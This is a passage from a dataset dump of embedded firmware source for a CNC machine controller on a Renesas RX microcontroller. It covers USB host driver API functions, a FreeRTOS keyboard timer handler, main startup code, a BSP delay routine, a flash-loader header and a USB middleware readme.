task (API for nonOS)\nArguments : USB_UTR_t *ptr : USB system internal structure. Selects channel.\n : uint16_t cls_result : class check result\nReturn : none\n******************************************************************************/\nvoid R_usb_hstd_ReturnEnuMGR(USB_UTR_t *ptr, uint16_t cls_result)\n{\n usb_ghstd_CheckEnuResult[ptr->ip] = cls_result;\n usb_hstd_MgrSndMbx(ptr, USB_MSG_MGR_SUBMITRESULT, USB_PIPE0, USB_CTRL_END);\n}\n/*\n eofR_usb_hstd_ReturnEnuMGR\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : R_usb_hstd_EnuWait\nDescription : Request to change enumeration priority(API for nonOS)\nArgument : USB_UTR_t *ptr : Pointer to a structure that includes\n the USB IP No. setting to change \n : uint16_t taskID : Enumeration wait Task ID\nReturn : none\n******************************************************************************/\nvoid R_usb_hstd_EnuWait(USB_UTR_t *ptr, uint8_t taskID)\n{\n usb_ghstd_EnuWait[ptr->ip] = taskID;\n}\n/*\n eofR_usb_hstd_EnuWait\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : R_usb_hstd_ChangeDeviceState\nDescription : Request to change the status of the connected USB Device\nArguments : USB_UTR_t *ptr : USB system internal structure. Selects channel.\n : USB_CB_t complete : callback function pointer\n : uint16_t msginfo : Message Info\n : uint16_t member : Device address/pipe number\nReturn : USB_ER_t : USB_E_OK etc\n******************************************************************************/\nUSB_ER_t R_usb_hstd_ChangeDeviceState(USB_UTR_t *ptr, USB_CB_t complete, uint16_t msginfo, uint16_t member)\n{\n USB_MH_t p_blf;\n USB_ER_t err, err2;\n USB_HCDINFO_t *hp;\n\n switch( msginfo )\n {\n /* USB_MSG_HCD_CLR_STALL */\n case USB_DO_CLR_STALL:\n err = usb_hstd_ChangeDeviceState(ptr, complete, USB_MSG_HCD_CLR_STALL, member);\n break;\n\n /* USB_MSG_HCD_SQTGLBIT */\n case USB_DO_SET_SQTGL:\n err = usb_hstd_ChangeDeviceState(ptr, complete, USB_MSG_HCD_SETSEQBIT, member);\n break;\n\n /* USB_MSG_HCD_CLRSEQBIT */\n case USB_DO_CLR_SQTGL:\n err = usb_hstd_ChangeDeviceState(ptr, complete, USB_MSG_HCD_CLRSEQBIT, member);\n break;\n\n default:\n /* Get mem pool blk */\n err = USB_PGET_BLK(USB_MGR_MPL, &p_blf);\n if( err == USB_E_OK )\n {\n USB_PRINTF2(\"*** member%d : msginfo=%d ***\\n\", member, msginfo);\n hp = (USB_HCDINFO_t*)p_blf;\n hp->msghead = (USB_MH_t)USB_NULL;\n hp->msginfo = msginfo;\n hp->keyword = member;\n hp->complete = complete;\n\n hp->ipp = ptr->ipp;\n hp->ip = ptr->ip;\n\n /* Send message */\n err = USB_SND_MSG(USB_MGR_MBX, (USB_MSG_t*)p_blf);\n if( err != USB_E_OK )\n {\n USB_PRINTF1(\"### hMgrChangeDeviceState snd_msg error (%ld)\\n\", err);\n err2 = USB_REL_BLK(USB_MGR_MPL, (USB_MH_t)p_blf);\n if( err2 != USB_E_OK ) \n {\n USB_PRINTF1(\"### hMgrChangeDeviceState rel_blk error (%ld)\\n\", err2);\n }\n }\n }\n else\n {\n USB_PRINTF1(\"### hMgrChangeDeviceState pget_blk error (%ld)\\n\", err);\n }\n break;\n }\n return err;\n}\n/* eof R_usb_hstd_ChangeDeviceState() */\n\n/******************************************************************************\nFunction Name : R_usb_hstd_HcdOpen\nDescription : Start HCD(Host Control Driver) task\nArgument : USB_UTR_t *ptr : Pointer to a structure that includes USB IP No. setting \nReturn : USB_ER_t : USB_E_OK etc\n******************************************************************************/\nUSB_ER_t R_usb_hstd_HcdOpen(USB_UTR_t *ptr)\n{\n uint16_t i, j;\n USB_ER_t err=USB_DONE;\n\n if( USB_MAXDEVADDR < USB_DEVICEADDR )\n {\n USB_PRINTF0(\"Device address error\\n\");\n /* >yes no process */\n return USB_ERROR;\n }\n\n /* Global Init */\n /* Control transfer stage management */\n usb_ghstd_Ctsq[ptr->ip] = USB_IDLEST;\n\n usb_ghstd_RemortPort[0] = USB_DEFAULT;\n usb_ghstd_RemortPort[1] = USB_DEFAULT;\n\n for( j = 0; j < USB_NUM_USBIP; ++j )\n {\n for( i = USB_PIPE0; i <= USB_MAX_PIPE_NO; i++ )\n {\n usb_gcstd_Pipe[j][i] = (USB_UTR_t*)USB_NULL;\n }\n }\n\n#ifdef USB_HOST_BC_ENABLE\n if(USB_BC_SUPPORT_IP == ptr->ip)\n {\n g_usb_hstd_bc[ptr->ip].state = USB_BC_STATE_INIT;\n }\n#endif\n\n USB_PRINTF0(\"*** Install USB-HCD ***\\n\");\n\n R_usb_cstd_SetTaskPri(USB_HCD_TSK, USB_PRI_1);\n\n return err;\n}/* eof R_usb_hstd_HcdOpen */\n\n/******************************************************************************\nFunction Name : R_usb_hstd_HcdClose\nDescription : Stop HCD(Host Control Driver) task.\nArgument : none\nReturn : USB_ER_t : USB_E_OK etc\n******************************************************************************/\nUSB_ER_t R_usb_hstd_HcdClose(void)\n{\n USB_ER_t err=USB_DONE;\n\n USB_PRINTF0(\"*** Release USB-HCD ***\\n\");\n\n return err;\n}/* eof R_usb_hstd_HcdClose() */\n\n/******************************************************************************\nFunction Name : R_usb_hstd_HcdTask\nDescription : Call HCD(Host Control Driver) task (API for nonOS)\nArgument : none\nReturn : none\n******************************************************************************/\nvoid R_usb_hstd_HcdTask(USB_VP_INT_t stcd)\n{\n usb_hstd_HcdTask(stcd);\n}/* eof R_usb_hstd_HcdTask() */\n\n/******************************************************************************\nFunction Name : R_usb_hstd_MgrTask\nDescription : Call MGR(Manager) task (API for nonOS)\nArgument : none\nReturn : none\n******************************************************************************/\nvoid R_usb_hstd_MgrTask(USB_VP_INT_t stcd)\n{\n usb_hstd_MgrTask(stcd);\n}/* eof R_usb_hstd_MgrTask() */\n\n\n#endif /* (USB_FUNCSEL_USBIP0_PP == USB_HOST_PP) || (USB_FUNCSEL_USBIP1_PP == USB_HOST_PP) */\n\n/******************************************************************************\nEnd Of File\n******************************************************************************/\n" }, { "alpha_fraction": 0.6513303518295288, "alphanum_fraction": 0.6635255217552185, "avg_line_length": 19.735631942749023, "blob_id": "250d8cbe5ca24cfe941ab68e77eff68212b9df5b", "content_id": "f0447e065d90c4656908c706cb40e72691e770ab", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1804, "license_type": "no_license", "max_line_length": 69, "num_lines": 87, "path": "/src/config/interpreter_line_selection.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * interpreter_jog_if.c\n *\n * Created on: 22/12/2015\n * Author: leocafonso\n */\n#include \"tinyg.h\"\n#include \"platform.h\"\n#include \"planner.h\"\n#include \"interpreter_if.h\"\n#include \"controller.h\"\n#include \"macros.h\"\n#include \"keyboard.h\"\n#include \"config_SwTimers.h\"\n\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n\nenum{\n\tNONE = 0,\n\tDOWN,\n\tUP,\n};\n\nstatic uint8_t timeNum = NONE;\nstatic void iif_line_down(void);\nstatic void iif_line_up(void);\nstatic void iif_line_released(void);\nvoid vTimerLineCallback( TimerHandle_t pxTimer );\n\nvoid iif_bind_line_selection(void)\n{\n\ttimeNum = NONE;\n\tif(swTimers[LINE_SELECTION_TIMER] == NULL)\n\t{\n\t\tswTimers[LINE_SELECTION_TIMER] = xTimerCreate\n\t\t\t\t\t\t ( \"Timer 1\",\n\t\t\t\t\t\t\t ( 250 ),\n\t\t\t\t\t\t\t pdTRUE,\n\t\t\t\t\t\t\t ( void * ) LINE_SELECTION_TIMER,\n\t\t\t\t\t\t\t vTimerLineCallback\n\t\t\t\t\t\t );\n\t}\n\tiif_func_enter = &iif_idle;\n\tiif_func_esc = &iif_line_released;\n\tiif_func_down = &iif_line_down;\n\tiif_func_up = &iif_line_up;\n\tiif_func_left = &iif_idle;\n\tiif_func_right = &iif_idle;\n\tiif_func_zdown = &iif_idle;\n\tiif_func_zup = &iif_idle;\n\tiif_func_released = &iif_line_released;\n\tiif_func_cycleStop = &iif_idle;\n}\n\nstatic void iif_line_down(void)\n{\n\t timeNum = DOWN;\n\t xTimerStart( swTimers[LINE_SELECTION_TIMER], 0 );\n}\n\nstatic void iif_line_up(void)\n{\n\t timeNum = UP;\n\t xTimerStart( swTimers[LINE_SELECTION_TIMER], 0 );\n}\n\nstatic void iif_line_released(void)\n{\n\t timeNum = NONE;\n\t xTimerStop( swTimers[LINE_SELECTION_TIMER], 0 );\n}\n\nvoid vTimerLineCallback( TimerHandle_t pxTimer )\n{\n\tuint32_t key = 0;\n\t/* Optionally do something if the pxTimer parameter is NULL. */\n\tconfigASSERT( pxTimer );\n\n\tswitch(timeNum)\n\t{\n\t\tcase DOWN:\tkey = KEY_DOWN; xQueueSend( qKeyboard, &key, 0 ); break;\n\t\tcase UP:\tkey = KEY_UP; xQueueSend( qKeyboard, &key, 0 ); break;\n\t}\n}\n" }, { "alpha_fraction": 0.5001983046531677, "alphanum_fraction": 0.5146105885505676, "avg_line_length": 37.78461456298828, "blob_id": "7fc319924e81d9c02d4d5a0b9f3fc183de51a956", "content_id": "441d36e82dd4120bbe7e71254da7e87af391263f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 7565, "license_type": "no_license", "max_line_length": 120, "num_lines": 195, "path": "/src/main.c", "repo_name": "ustropo/MT01", "src_encoding": "ISO-8859-1", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No\n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all\n* applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM\n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES\n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS\n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of\n* this software. By using this software, you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014 Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : main.c\n* Description : main process\n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 04.01.2014 1.00 First Release\n***********************************************************************************************************************/\n\n/******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n******************************************************************************/\n#include <stdio.h>\n#include \"platform.h\"\n#include \"r_usb_basic_if.h\"\n#include \"r_usb_hmsc_config.h\"\n#include \"r_usb_hmsc_if.h\"\n#include \"tinyg.h\"\t\t// #1\n#include \"config.h\"\t\t// #2\n#include \"hardware.h\"\n#include \"r_cmt_rx_if.h\"\n#include \"r_lvd_rx_if.h\"\n#include \"eeprom.h\"\n#include \"config_SwTimers.h\"\n#include \"state_functions.h\"\n/* Flash Loader project includes. */\n#include \"r_fl_includes.h\"\n\n/* Kernel includes. */\n#include \"FreeRTOS.h\"\n#include \"task.h\"\n#include \"semphr.h\"\n#include \"lcd.h\"\n\n#ifdef RELEASE\n\n/* For HMSC Flashloader */\n#define USERAPP_SECURITY_CODE 0x55AA55AA\n\nvoid UserAppStart(void);\n/*******************************************************************************\n APPLICATION INTERFACE HEADER\n The purpose of the header is for an external application to be able to read\n certain values from known addresses.\n - Start address of UserApp.\n - Security code must match what PCDC Flashloader expects.\n - For revision purposes of applications etc.\n - Do not change the order of these variables!\n*******************************************************************************/\n#pragma section C app_start\n\n/* START ADDRESS of user application header data - Appheader address + 0x00. */\nconst uint32_t userapp_entry_addr = (uint32_t) UserAppStart;\n /* - Appheader address + 0x04. */\nconst uint32_t userapp_sec_code = (uint32_t) USERAPP_SECURITY_CODE;\n\n/* USER APP SW ID (Not used by default.) - Appheader address + 0x08. */\nconst uint32_t userapp_id_code = 0x00000001;\n/*******************************************************************************/\n#endif\n\n#define USB_HOST_USBIP_NUM USB_USBIP_0\n\n/******************************************************************************\nExternal variables and functions\n******************************************************************************/\nvoid usb_main(void);\nvoid usb_mcu_init(void);\nextern void\tusb_cstd_IdleTaskStart(void);\nextern void\tusb_hmsc_task_start(void);\nextern void\tusb_apl_task_switch(void);\nextern void FreeRTOSConfig(void);\n\nmaq_name maq;\nUSB_UTR_t msc_utr;\nTimerHandle_t swTimers[TIMER_SIZE];\n\n/******************************************************************************\nFunction Name : main\nDescription : Main task\nArguments : none\nReturn value : none\n******************************************************************************/\nvoid main(void)\n{\n\tlvd_err_t err;\n\tlvd_config_t channel1_cfg;\n \tchannel1_cfg.e_action = LVD_ACTION_RESET;\n\tchannel1_cfg.e_trigger = LVD_TRIGGER_FALL;\n\tchannel1_cfg.e_voltage_level =LVD_VOLTAGE_CH1_2_95;\n\terr = R_LVD_Open(LVD_CHANNEL_1, &channel1_cfg, NULL);\n\n\t//IWDT.IWDTCR.WORD = 0x3323;\n\tbool ret = false;\n\t/* Reserve the CMT0 for FreeRTOS */\n\tret = R_BSP_HardwareLock((mcu_lock_t)(BSP_LOCK_CMT0));\n\twhile (false == ret) /* can't lock the CMT0 resource */\n\t{\n\t\twhile (1);\n\t}\n\tWDT_FEED\n\n /* Inicialização das variaveis EEPROM */\n\teepromInit();\n\tg_maq = check_machine_type();\n\teepromConsistencyCheck();\n\n\t/* Initialize USB */\n\tusb_main();\n\n\n\t/* Initialize RTOS */\n\tFreeRTOSConfig();\n\n\t/* Start tasks - only returns if something bad happened! */\n\tvTaskStartScheduler();\n while (1)\n {\n\n }\n}\n\n\nvoid usb_main()\n{\n usb_err_t usb_err = USB_SUCCESS;\n usb_mcu_init();\n /* Determine which port is host. */\n msc_utr.ip = USB_HOST_USBIP_NUM;\n msc_utr.ipp = R_usb_cstd_GetUsbIpAdr( msc_utr.ip ); /* Get the USB IP base address. */\n\n /* Initialize the USB driver hardware */\n usb_cpu_target_init();\n\n /* USB driver open */\n usb_err = R_USB_Open( (usb_ip_t)msc_utr.ip );\n if( USB_E_OK != usb_err )\n {\n while(1); /* Error stop */\n }\n}\n/******************************************************************************\nEnd of function main()\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_mcu_init\nDescription : USB pin function and port mode setting.\nArguments : none\nReturn value : none\n******************************************************************************/\nvoid usb_mcu_init(void)\n{\n R_BSP_RegisterProtectDisable(BSP_REG_PROTECT_LPC_CGC_SWR);\n R_BSP_RegisterProtectDisable(BSP_REG_PROTECT_MPC);\n\n #if USB_FUNCSEL_USBIP0_PP == USB_HOST_PP\n\n PORT1.PMR.BIT.B4 = 1u; /* P14 set USB0_OVRCURA */\n\n PORT1.PMR.BIT.B6 = 1u; /* P16 set VBUS_USB */\n MPC.P16PFS.BYTE = 0x12; /* USB0_VBUSEN */\n #endif /* USB_FUNCSEL_USBIP0_PP == USB_HOST_PP */\n\n #if USB_FUNCSEL_USBIP1_PP == USB_HOST_PP\n PORT1.PMR.BIT.B0 = 1u;\n MPC.P10PFS.BYTE = 0x15; /* USBHS_OVRCURA */\n PORT1.PMR.BIT.B1 = 1u;\n MPC.P11PFS.BYTE = 0x15; /* USBHS_VBUSEN */\n #endif /* USB_FUNCSEL_USBIP1_PP == USB_HOST_PP */\n\n R_BSP_RegisterProtectEnable(BSP_REG_PROTECT_MPC);\n R_BSP_RegisterProtectEnable(BSP_REG_PROTECT_LPC_CGC_SWR);\n} /* eof usb_mcu_init() */\n/******************************************************************************\nEnd Of File\n******************************************************************************/\n" }, { "alpha_fraction": 0.41992881894111633, "alphanum_fraction": 0.4318990707397461, "avg_line_length": 22.59541893005371, "blob_id": "e75b625320ff8caf3ace4b281b56ffb27e34277c", "content_id": "8e98c29e1af7181577775aba89e17546b163a416", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 3091, "license_type": "no_license", "max_line_length": 91, "num_lines": 131, "path": "/r_usb_basic/readme.txt", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "PLEASE REFER TO THE APPLICATION NOTE FOR THIS MIDDLEWARE FOR MORE INFORMATION\n\nr_usb_basic\n=======================\n\nDocument Number \n---------------\nR01AN2025EJ\n\nVersion\n-------\nv1.10\n\nOverview\n--------\nUSB Basic Host and Peripheral firmware\n\nFeatures\n--------\n* Can operate in either host or peripheral mode.\n* Device connect/disconnect, suspend/resume, and USB bus reset processing.\n* Control transfer on pipe 0.\n* Data transfer on pipes 1 to 9. (bulk or interrupt transfer: CPU access/DTC or DMA access)\n\nSupported MCUs\n--------------\n* RX64M Group\n* RX71M Group\n\nBoards Tested On\n----------------\n* RSKRX64M\n* RSKRX71M\n \nLimitations\n-----------\n\nPeripherals Used Directly\n-------------------------\n\n\nRequired Packages\n-----------------\n* r_bsp\n* r_usb_dtc (using DTC transfer)\n\nHow to add to your project\n--------------------------\n\nToolchain(s) Used\n-----------------\n* Renesas RX v.2.01.00\n\nFile Structure\n--------------\nr_usb_basic\n| readme.txt\n| r_usb_basic_if.h\n|\n+---doc\n| r01an2025ej0110_usb.pdf\n|\n+---ref\n| r_usb_config_reference.h\n|\n\\---src\n +---driver\n | +---comm\n | | r_usb_cdataio.c\n | | r_usb_cintfifo.c\n | | r_usb_cinthandler_usbip0.c\n | | r_usb_cinthandler_usbip1.c\n | | r_usb_clibusbip.c\n | | r_usb_cscheduler.c\n | | r_usb_cstdapi.c\n | | r_usb_cstdfunction.c\n | |\n | +---host\n | | r_usb_hbc.c\n | | r_usb_hcontrolrw.c\n | | r_usb_hdriver.c\n | | r_usb_hdriverapi.c\n | | r_usb_hhubsys.c\n | | r_usb_hintfifo.c\n | | r_usb_hlibusbip.c\n | | r_usb_hmanager.c\n | | r_usb_hsignal.c\n | | r_usb_hstdfunction.c\n | | \n | +---peri\n | | r_usb_pbc.c\n | | r_usb_pcontrolrw.c\n | | r_usb_pdriver.c\n | | r_usb_pdriverapi.c\n | | r_usb_pintfifo.c\n | | r_usb_psignal.c\n | | r_usb_pstdfunction.c\n | | r_usb_pstdrequest.c\n | |\n | \\---inc\n | r_usb_api.h\n | r_usb_cdefusbip.h\n | r_usb_cextern.h\n | r_usb_ckernelid.h\n | r_usb_cmacprint.h\n | r_usb_cmacsystemcall.h\n | r_usb_ctypedef.h\n | \n \\---HW\n +---comm\n | r_usb_creg_abs.c\n | r_usb_creg_access.c\n | r_usb_creg_dmadtc.c\n | rx_mcu.c\n |\n +---host\n | r_usb_hostelectrical.c\n | r_usb_hreg_abs.c\n | r_usb_hreg_access.c\n |\n +---peri\n | r_usb_preg_abs.c\n | r_usb_preg_access.c\n |\n \\---inc\n r_usb_cusb_bitdefine.h\n r_usb_defvalue.h\n r_usb_fixed_config.h\n r_usb_reg_access.h\n r_usb_sysdef.h\n rx_rsk_extern.h\n" }, { "alpha_fraction": 0.4786681830883026, "alphanum_fraction": 0.492889404296875, "avg_line_length": 61.37323760986328, "blob_id": "9f665abdf1f8887a0e892edd27a71c572554681f", "content_id": "6d8f14a43569644413c10ada48abebae94603640", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 8860, "license_type": "no_license", "max_line_length": 150, "num_lines": 142, "path": "/r_bsp/mcu/all/r_bsp_common.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No\n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all\n* applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM\n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES\n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS\n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of\n* this software. By using this software, you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2013 Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_bsp_common.c\n* Description : Implements functions that apply to all r_bsp boards and MCUs.\n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 06.05.2013 1.00 First Release\n* * 26.03.2014 1.10 Added R_BSP_SoftwareDelay() function\n* : 03.09.2014 1.20 Corrected R_BSP_SoftwareDelay() timing when using an RX64M\n***********************************************************************************************************************/\n\n/***********************************************************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n***********************************************************************************************************************/\n/* Get information about current board and MCU. */\n#include \"platform.h\"\n\n/***********************************************************************************************************************\nMacro definitions\n***********************************************************************************************************************/\n#define OVERHEAD_LOOP_COUNT 4\t // overhead of 20 cycles or 4 loops to call/return from delayWait() function.\n#define CPU_CYCLES_PER_LOOP 5\t // known number (5) of CPU cycles required to execute the delayWait() loop\n#define CPU_CYCLES_PER_LOOP_RX64M 4 // known number (4) of CPU cycles required to execute the delayWait() loop on\n // an RX64M.\n#define CGC_LOCO\t\t\t\t 0 // SCKCR3 register setting for LOCO\n/***********************************************************************************************************************\nTypedef definitions\n***********************************************************************************************************************/\n\n/***********************************************************************************************************************\nExported global variables (to be accessed by other files)\n***********************************************************************************************************************/\n\n/***********************************************************************************************************************\nPrivate global variables and functions\n***********************************************************************************************************************/\n\n/***********************************************************************************************************************\n* Function Name: R_BSP_GetVersion\n* Description : Returns the current version of this module. The version number is encoded where the top 2 bytes are the\n* major version number and the bottom 2 bytes are the minor version number. For example, Version 4.25\n* would be returned as 0x00040019.\n* Arguments : none\n* Return Value : Version of this module.\n***********************************************************************************************************************/\n#pragma inline(R_BSP_GetVersion)\nuint32_t R_BSP_GetVersion (void)\n{\n /* These version macros are defined in platform.h. */\n return ((((uint32_t)R_BSP_VERSION_MAJOR) << 16) | (uint32_t)R_BSP_VERSION_MINOR);\n}\n\n\n/***********************************************************************************************************************\n* Function Name: delayWait\n* Description : This asm loop executes a known number (5) of CPU cycles. If a value of '4' is passed\n* in as an argument, then this function would consume 20 CPU cycles before returning.\n* Arguments : loop_cnt - A single 32-bit value is provided as the number of loops to execute.\n* :\n* Return Value : None\n***********************************************************************************************************************/\n#pragma inline_asm delayWait\nstatic void delayWait (unsigned long loop_cnt)\n{\n BRA ?+\n NOP\n ?:\n NOP\n SUB #01H, R1\n BNE ?-\n}\n\n/***********************************************************************************************************************\n* Function Name: R_BSP_SoftwareDelay\n* Description : Delay the specified duration in units and return.\n* Arguments : uint32_t count - the number of 'units' to delay\n* : bsp_delay_units_t units - the 'base' for the units specified. Valid values are:\n* BSP_DELAY_MICROSECS, BSP_DELAY_MILLISECS, BSP_DELAY_SECS.\n* Accuracy is very good at millisecond and second level, less so at microsecond level simply due to the\n* overhead associated with implementing the call.\n* Note that there is an additional overhead of 20 cycles for the actual delayWait() function call and\n* return.\n*\n* Return Value : true if delay executed.\n* false if delay/units combination resulted in overflow/underflow\n***********************************************************************************************************************/\nbool R_BSP_SoftwareDelay(uint32_t delay, bsp_delay_units_t units)\n{\n uint64_t loop_cnt;\n uint64_t subValue = OVERHEAD_LOOP_COUNT;\n uint64_t iclkRate = BSP_ICLK_HZ;\n\n // It would be nice if we could always look at BSP_ICLK_HZ to determine our iclk rate, that defines what the\n // user has configured for the clock rate. However this function is also called from clock_source_select()\n // as part of the reset startup. At that point the MCU is not yet running at the user configured\n // clock rate, it is running off the LOCO. If the SCKCR3 register indicates that we are running\n // off the LOCO we will use BSP_LOCO_HZ as the value for the Iclock rate. Otherwise we will use\n // BSP_ICLK_HZ. Additionally not All MCU's call R_BSP_SoftwareDelay() as part of their startup clock\n // setup. Specifically the BSP_MCU_RX62_ALL and BSP_MCU_RX61_ALL parts. For those parts we therefore know\n // that using BSP_ICLK_HZ is valid.\n#if (!defined(BSP_MCU_RX62_ALL) && !defined(BSP_MCU_RX61_ALL))\n if (SYSTEM.SCKCR3.BIT.CKSEL == CGC_LOCO)\n {\n \ticlkRate = BSP_LOCO_HZ;\n }\n#endif\n\n#ifndef BSP_MCU_RX64M\n // Calculate the number of loops, accounting for the overhead of 20 cycles (4 loops at 5 cycles/loop)\n loop_cnt = (((uint64_t)delay * iclkRate) / (CPU_CYCLES_PER_LOOP * units)) - subValue;\n#else\n // Calculate the number of loops, accounting for the overhead of 20 cycles (4 loops at 5 cycles/loop)\n loop_cnt = (((uint64_t)delay * iclkRate) / (CPU_CYCLES_PER_LOOP_RX64M * units)) - subValue;\n#endif\n\n#ifdef BSP_CFG_PARAM_CHECKING_ENABLE\n // Make sure the request is valid and did not result in an overflow\n if ((loop_cnt > 0xFFFFFFFF) || (loop_cnt == 0) || ((units != BSP_DELAY_MICROSECS) && (units != BSP_DELAY_MILLISECS) && (units != BSP_DELAY_SECS)))\n return(false);\n#endif\n delayWait((uint32_t)loop_cnt);\n\n return(true);\n}\n\n\n\n" }, { "alpha_fraction": 0.5852739810943604, "alphanum_fraction": 0.5917808413505554, "avg_line_length": 51.14285659790039, "blob_id": "5089ce2974bd231d28250a9183463bc241e6e710", "content_id": "addc84a2280c413ac8a95ee91efdcc22c704c79f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2920, "license_type": "no_license", "max_line_length": 80, "num_lines": 56, "path": "/r_flash_loader_rx/src/r_fl_includes.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*******************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only \n* intended for use with Renesas products. No other uses are authorized. This \n* software is owned by Renesas Electronics Corporation and is protected under\n* all applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT\n* LIMITED TO WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE \n* AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED.\n* TO THE MAXIMUM EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS \n* ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES SHALL BE LIABLE \n* FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR\n* ANY REASON RELATED TO THIS SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE\n* BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software\n* and to discontinue the availability of this software. By using this software,\n* you agree to the additional terms and conditions found by accessing the \n* following link:\n* http://www.renesas.com/disclaimer *\n* Copyright (C) 2013 Renesas Electronics Corporation. All rights reserved. \n*******************************************************************************/\n/*******************************************************************************\n* File Name\t : r_fl_includes.h\n* Version : 3.0 \n* Description : Has required includes for Flash Loader project. \n******************************************************************************/\n/*****************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 23.02.2012 3.00 First Release (introduced in v3.0)\n******************************************************************************/\n\n#ifndef FL_INCLUDES\n#define FL_INCLUDES\n\n/******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n******************************************************************************/\n/* Flash Loader configuration options. */\n#include \"r_flash_loader_rx_config.h\"\n/* Flash Loader types. */\n#include \"r_fl_types.h\"\n/* Flahs Loader shared variables. */\n#include \"r_fl_globals.h\"\n/* Function prototypes and defines for FlashLoader use */\n#include \"r_fl_downloader.h\"\n/* Function prototypes for FL communications */\n#include \"r_fl_comm.h\"\n/* Function prototypes for interfacing to memory holding load images */\n#include \"r_fl_memory.h\"\n/* Function prototypes for utility fuctions (CRC & Reset) */\n#include \"r_fl_utilities.h\"\n/* Flash Loader interface file. */\n#include \"r_flash_loader_rx_if.h\"\n\n#endif /* FL_INCLUDES */\n" }, { "alpha_fraction": 0.5775296688079834, "alphanum_fraction": 0.5872762799263, "avg_line_length": 29.338708877563477, "blob_id": "8cd8f6591ca8306f2a727bdb41dc10eee10cdd14", "content_id": "b6505d125aba0dc063860e374117abe94c11fab0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 5643, "license_type": "no_license", "max_line_length": 91, "num_lines": 186, "path": "/src/cnc/xio/xio_SPIFFS.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * xio_file.c\t- device driver for program memory \"files\"\n * \t\t\t\t- works with avr-gcc stdio library\n 